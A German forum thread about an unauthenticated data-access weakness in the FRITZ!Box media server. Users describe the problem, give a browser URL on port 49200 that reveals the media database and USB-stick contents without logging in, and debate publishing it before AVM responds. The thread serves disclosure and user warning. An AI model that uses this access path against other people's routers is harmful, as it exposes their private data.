Der Mediaserver liefert, abgesehen von den Mediendownloads, XML aus.
Screenshot_2016-11-12-00-28-27.png
...und mit XSL(T) lässt sich XML auch in HTML transformieren.

Das Stylesheet (2. Zeile) muss aber die Endung .xml haben..
Screenshot_2016-11-12-00-31-50.png
Screenshot_2016-11-12-01-25-32.png
Screenshot_2016-11-12-00-43-33.png
...damit die Transformation gelingt.

Mediaserver == Ein eigener Webserver/Webspace auf der Fritz!Box ohne Modifikationen.
:rolleyes:
 
Zuletzt bearbeitet:
Sicherheit und App?

Das passt doch überhaupt nicht.
Sicherheit wird bei den ach so tollen Apps doch nur hinten angeflanscht, wenn man dazu gezwungen wird.
 
:lach:

Je mehr ich mich mit diesen Mediaserver beschäftige, desto breiter wird mein Grinsegesicht.

Mein SNOM-Telefonbuchkarussel kreist schon...
Screenshot_2016-11-12-20-07-19.jpg
...als Nächstes sind die Klingeltöne dran.

EDIT: Der Mediaserver liefert auch HTML aus :D
Screenshot_2016-11-17-10-48-08.png
...wenn der Content-Type so deklariert wurde...
Screenshot_2016-11-17-10-48-49.png
:rolleyes:
 
Zuletzt bearbeitet:
Ich habe mal versucht, das Thema auf heise.de in der jüngsten Diskussion zu den Zertifikaten unterzubringen ... vielleicht erreicht es auf diesem Weg noch ein paar FRITZ!Box-Besitzer - vielleicht (wahrscheinlich) zucken die meisten davon aber ohnehin nur mit den Achseln, weil sie ja nichts zu verbergen haben. :-(
 
Ich habe auch schon unter der letzten Meldung einige Kommentare von dir gelesen. Erfahrungsgemäß lohnt das im Heise-Forum nicht, mir persönlich springen da zu viele Trolle und Fanboys rum. ;)
 
@peterpawn Eine wirklich sehr gelungene Darstellung des Problems. Es macht immer wieder freude solche Beiträge zu lesen DANKE!!! Leider ist das ganze seit mehreren Jahren bei AVM bekannt (bin mir nicht mehr ganz sicher glaube aber auch Heise damals (2012-2013) informiert zu haben). Lustig oder auch nicht,wie auch immer man es sehen will ist, daß das ganze auch über das I-net dank Javascript & Co funktioniert! Einzige Bedingungen manipulierte Webseite besuchen und Javascript aktivieren (natürlich nur wenn Mediaserver läuft ...). Neue Aufgabe ^^ Versuch doch mal die Box vom I-net zu trennen (keine wirkliche pyhsikalische trennung....) beim besuch einer manipulierte Webseite - sollte funktionieren, es sei denn das AVM es nach Jahren des Wissens geschafft hat es zu ändern. MACH WEITER SO!!!

Nachtrag: ups habe wohl nicht alles gelesen haste ja schon gemacht SRY :)
 
Zuletzt bearbeitet:
Moins

Für diejenigen, die das alles noch nicht so richtig nachvollziehen können...
Für die sqlite3 Datenbank braucht es noch nicht mal ein Tool
Es reicht...
Code:
view-source:fritz.box:49200/FRITZ/mediabox/fritznasdb_part.db3
(In der Adresszeile der meisten Webbbrowser)
...um alle Informationen/Einträge zu sehen.
:rolleyes:
 
Zuletzt bearbeitet:
  • Like
Reaktionen: troulalou
Hallo koyaanisqatsi,

ist tatsächlich so aus meinem internen Netzwerk, ohne Passwort-abfrage zu all den Daten die auf dem Stick liegen. :mad:

Selbst auf meine Fritzboxen zu Hause, auf die ich mich mit Benutzernamen und Passwort anmelden muss, Zugriff ohne Anmeldung möglich mit dem Link.:mad:

Mediaserver jetzt erstmal abgeschaltet :mad:
 
Zuletzt bearbeitet:
Wäre es vielleicht nicht erstmal besser dieses Thema nicht öffentlich zu behandeln, bis AVM darauf reagiert hat?!?
 
Da ist sie wieder, die Sonnenbrille die bei Gefahr undurchsichtig wird.
(Frei nach: Hitch Hikers Guide)

Nee, die Leute müssen die Möglichkeit haben den Mediaserver rechtzeitig abzuschalten.
...sonst könnte es für sie peinlich werden.

AVM zeigte bis jetzt kein Interesse, ist immer noch standardmässig aktiviert.
Mitleid mit AVM hab ich demzufolge nicht.
...und PeterPawn bestimmt auch nicht.
 
@Lecter:
Was läßt Dich denn zu der Vermutung gelangen, daß AVM darauf jemals reagieren wird?

Es ist zwar die Jahreszeit für den dicken Mann mit weißem Bart und rotem Mantel, aber man muß nicht alles glauben, was einem so eingeredet wird ... auch größere Zugvögel sind nicht dafür zuständig, Familien mit Nachwuchs zu versorgen.
 
@Lecter:
... auch größere Zugvögel sind nicht dafür zuständig, Familien mit Nachwuchs zu versorgen.

Du zerstörst mutwillig ein seit Generationen gewachsenes Weltbild, und dies ohne sachlichen Nachweis: :D
"Nach europäischen Sagen überbringt der Storch die Säuglinge. Mit seinem Märchen Die Störche machte Hans Christian Andersen diese Idee sehr populär. Nach deutscher Folklore überbringen Störche Babys, die sie in Höhlen oder Sümpfen gefunden haben, in einem Korb an die Mütter oder lassen sie durch einen Schornstein fallen. Süßigkeiten auf dem Fensterbrett für die Störche sollten dabei helfen, den Kinderwunsch zu erfüllen. Diese Folklore hat sich weltweit – auch bis nach Südamerika und zu den Philippinen – verbreitet" (Wikipedia.de)

Im Schornstein bestünde jahreszeitlich bedingt zusätzlich Kollisionsgefahr mit dem von Dir erwähnten weißbärtigen Herrn.
 
Holen Sie sich 3CX - völlig kostenlos!
Verbinden Sie Ihr Team und Ihre Kunden Telefonie Livechat Videokonferenzen

Gehostet oder selbst-verwaltet. Für bis zu 10 Nutzer dauerhaft kostenlos. Keine Kreditkartendetails erforderlich. Ohne Risiko testen.

3CX
Für diese E-Mail-Adresse besteht bereits ein 3CX-Konto. Sie werden zum Kundenportal weitergeleitet, wo Sie sich anmelden oder Ihr Passwort zurücksetzen können, falls Sie dieses vergessen haben.